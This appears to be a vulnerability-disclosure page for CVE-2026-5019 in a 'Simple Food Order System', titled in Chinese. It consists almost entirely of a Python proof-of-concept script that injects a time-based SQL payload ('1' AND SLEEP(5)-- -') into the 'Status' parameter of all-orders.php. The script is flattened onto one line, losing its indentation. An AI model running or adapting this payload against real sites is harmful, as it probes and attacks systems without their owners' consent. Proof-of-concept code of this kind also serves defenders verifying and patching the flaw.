CVE-2026-5019: Simple Food Order System SQL注入漏洞

import requests def exploit_sql_injection(target_url): """ PoC for CVE-2026-5019: SQL Injection in 'Status' parameter. """ # The vulnerable endpoint endpoint = f"{target_url}/all-orders.php" # Payload to test for SQL Injection (e.g., time-based or boolean-based) # This payload attempts to cause a delay if the database is MySQL payload = "1' AND SLEEP(5)-- -" parameters = { "Status": payload } try: print(f"[+] Sending payload to {endpoint}...") response = requests.get(endpoint, params=parameters, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection detected.") else: print("[-] Vulnerability not confirmed or patched.") except requests.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit_sql_injection(target)